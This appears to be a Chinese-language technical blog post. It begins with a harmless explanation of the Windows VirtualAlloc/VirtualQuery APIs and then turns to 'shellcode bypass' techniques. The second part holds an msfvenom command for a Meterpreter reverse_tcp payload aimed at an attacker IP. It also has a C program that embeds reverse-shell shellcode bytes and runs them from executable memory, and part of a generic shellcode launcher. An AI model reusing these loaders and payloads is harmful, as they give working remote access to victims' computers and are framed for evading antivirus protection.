一个很好的学习网站 推荐一下:
https://docs.microsoft.com/zh-cn/windows/win32/api/
0x01 VirtualAlloc
VirtualAlloc:
在虚拟地址空间中预定一块内存区域;
VirtualAlloc是Windows提供的API,通常用来分配大块的内存。
PVOID VirtualAlloc(PVOID pvAddress, SIZE_T dwSize, DWORD fdwAllocationType, DWORD fdwProtect) VirtualAlloc (PVOID 开始地址,SIZE_T 大小,DWORD 类型,DWORD 保护属性)
VirtualQuery
SIZE_T WINAPI VirtualQuery( _In_opt_ LPCVOID lpAddress, _Out_ PMEMORY_BASIC_INFORMATION lpBuffer, _In_ SIZE_T dwLength );
MEMORY_BASIC_INFORMATION结构
包含有关进程的虚拟地址空间中的页面范围的信息。该 VirtualQuery来和 VirtualQueryEx函数使用这种结构。 句法 typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
BaseAddress
A pointer to the base address of the region of pages.
AllocationBase
A pointer to the base address of a range of pages allocated by the VirtualAlloc function. The page pointed to by the BaseAddressmember is contained within this allocation range.
AllocationProtect
The memory protection option when the region was initially allocated. This member can be one of the memory protection constantsor 0 if the caller does not have access.
RegionSize
The size of the region beginning at the base address in which all pages have identical attributes, in bytes.
State
The state of the pages in the region. This member can be one of the following values.
#include "stdafx.h" #include "Windows.h" #include "iostream" using namespace std; int _tmain(int argc, _TCHAR* argv[]) { //申请内存区域 BYTE* pByte = (BYTE*)VirtualAlloc(NULL,64 * 1024,MEM_RESERVE,PAGE_READWRITE); if (pByte != NULL) { cout<<"申请内存成功!"<<endl; } MEMORY_BASIC_INFORMATION mbi; DWORD dwNumByte = VirtualQuery(pByte,&mbi,sizeof(mbi)); cout<<"BaseAddress "<<mbi.BaseAddress<<endl; cout<<"AllocationBase "<<mbi.AllocationBase<<endl; cout<<mbi.AllocationProtect<<endl; if (mbi.State == MEM_COMMIT) { ZeroMemory(pByte,64 * 1024); memcpy(pByte,_T("分配虚拟内存成功-1"),sizeof(_T("分配虚拟内存成功-1"))); cout<<pByte<<endl; } else { VirtualAlloc(pByte,64 * 1024,MEM_COMMIT,PAGE_READWRITE); cout<<"调拨物理存储器成功!"<<endl; } ZeroMemory(pByte,64 * 1024); memcpy(pByte,_T("分配虚拟内存成功-2"),sizeof(_T("分配虚拟内存成功-2"))); cout<<pByte<<endl; VirtualFree(pByte,0,MEM_RELEASE); system("pause"); return 0; }
0x02 shellcode Bypass
msf c shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -f c
demo1:
#include <Windows.h> #include <stdio.h> using namespace std; int main(int argc,char **argv){ char ShellCode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x11\x8d" "\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, ShellCode, sizeof ShellCode); ((void(*)())exec)(); return 0; }
shellcode_launcher:
#include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <Windows.h> #define EXTRA_SPACE 0x10000 #define MAX_REG_NAME_SIZE 4 #define REG_EAX 0 #define REG_EBX 1 #define REG_ECX 2 #define REG_EDX 3 #define REG_EDI 4 #define REG_ESI 5 #define REG_MAX 6 #define MAX_OPEN_FILES 10 char* regNames[] = { "eax", "ebx", "ecx", "edx", "edi", "esi" }; #define NUM_REGISTERS 6 typedef void(*void_func_ptr)(void); unsigned char callNext[] = { 0xe8, 0x00, 0x00, 0x00, 0x00, //call $+5 }; #if 0 unsigned char callPopEdi[] = { 0xe8, 0x00, 0x00, 0x00, 0x00, //call $+5 0x5f //pop edi }; #endif unsigned char popRegInstr[] = { 0x58, //eax 0x5b, //ebx 0x59, //ecx 0x5a, //edx 0x5f, //edi 0x5e //esi }; #if 0 unsigned char addEdiImmediate[] = { 0x81, 0xc7 // add edi, <32-bit immediate> }; #endif unsigned char addRegImmediate[][2] = { { 0x81, 0xc0 }, //add eax, 0x11223344: 81c0 44332211 { 0x81, 0xc3 }, //add ebx, 0x11223344: 81c3 44332211 { 0x81, 0xc1 }, //add ecx, 0x11223344: 81c1 44332211 { 0x81, 0xc2 }, //add edx, 0x11223344: 81c2 44332211 { 0x81, 0xc6 }, //add esi, 0x11223344: 81c6 44332211 { 0x81, 0xc7 }, //add edi, 0x11223344: 81c7 44332211 }; unsigned char jmp32bitOffset[] = { 0xe9 // jmp <32-bit immediate_offset> }; unsigned char breakpoint[] = { 0xcc // int3 }; struct FileInfo { int index; char* names[MAX_OPEN_FILES]; HANDLE handles[MAX_OPEN_FILES]; }; struct ConfigurationData { int doBp; DWORD startOff; DWORD baseAddress; char* shellcodeFilename; DWORD shellcodeSize; int setRegStart[NUM_REGISTERS]; int setRegEnd[NUM_REGISTERS]; struct FileInfo readFiles; struct FileInfo writeFiles; struct FileInfo readWriteFiles; struct FileInfo loadedLibraries; }; void usage(void) { printf("Usage: shellcode_launcher.exe\n"); printf("shellcode_launcher.exe -i <shellcode_filename> -o <offset> -ba <base_address> [-bp] [-r <in_filename>]\n [-w <in_filename>] [-L <lib_name] [-<reg>][+<reg>]\n"); printf(" <shellcode_filename> is the binary containing the shellcode to execute\n"); printf(" <offset> is the (decimal) offset into the shellcode to start executing\n"); printf(" <base_address> is your preferred base address to insert the shellcode (i.e. 0xFD0000\n"); printf(" <in_filename> is an additional file to open, either readonly (-r) \n"); printf(" or writeable (-w), such as for a malicious PDF the shellcode\n"); printf(" requires an open handle for\n"); printf(" -<reg>: load register <reg> with a pointer to the start of the shellcode\n"); printf(" +<reg>: load register <reg> with a pointer to the end of the shellcode\n"); printf(" -bp: add a breakpoint prior to jumping into the shellcode\n"); printf(" -L <lib_name>: Load library <libname> during initialization\n"); } int isStrEqual(const char *s1, const char*s2) { return (0 == strncmp(s1, s2, strlen(s2))); } void checkExtraArgument(int argc, int currI, char* argFlag) { if((currI+1) >= argc) { printf("Missing argument to %s", argFlag); usage(); exit(1); } } int isRegisterCommand(const char *source, char plusMinus) { char localSource[MAX_REG_NAME_SIZE]; unsigned int i; if(!source) { return -1; } if(source[0] != plusMinus) { return -1; } size_t len = strlen(source); if(len > MAX_REG_NAME_SIZE) { return -1; } memset(localSource, 0, sizeof(localSource)); for(i=0; i<len; i+=1) { localSource[i] = (char)tolower(source[i+1]); } for(i=0; i<REG_MAX; i++) { //if(isStrEqual(localSource, regNames[i])) { if(!strcmp(localSource, regNames[i])) { //found a match, return the current reg index return i; } } //if got here, no matches return -1; } // Returns -1 on error, else 0 on success int doLoadLibraries(struct ConfigurationData* config) { int i; for(i=0; i<config->loadedLibraries.index; i++) { printf("Trying to LoadLibrary: %s\n", config->loadedLibraries.names[i]); HMODULE libHandle = LoadLibrary(config->loadedLibraries.names[i]); if(libHandle == NULL) { printf("Error loading library %s: 0x%08\n", config->loadedLibraries.names[i], GetLastError()); return -1; } config->loadedLibraries.handles[i] = libHandle; } return 0; } int doCreateFiles(struct ConfigurationData* config) { int i; //open read-only files for(i=0; i<config->readFiles.index; i++) { HANDLE inFile = INVALID_HANDLE_VALUE; printf("Opening readable file: %s\n", config->readFiles.names[i]); inFile = CreateFile(config->readFiles.names[i], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (inFile == INVALID_HANDLE_VALUE) { printf("Couldn't open file %s: %08x\n", config->readFiles.names[i], GetLastError()); return 1; } config->readFiles.handles[i] = inFile; } return 0; }
mingw32编的有点问题 vs编的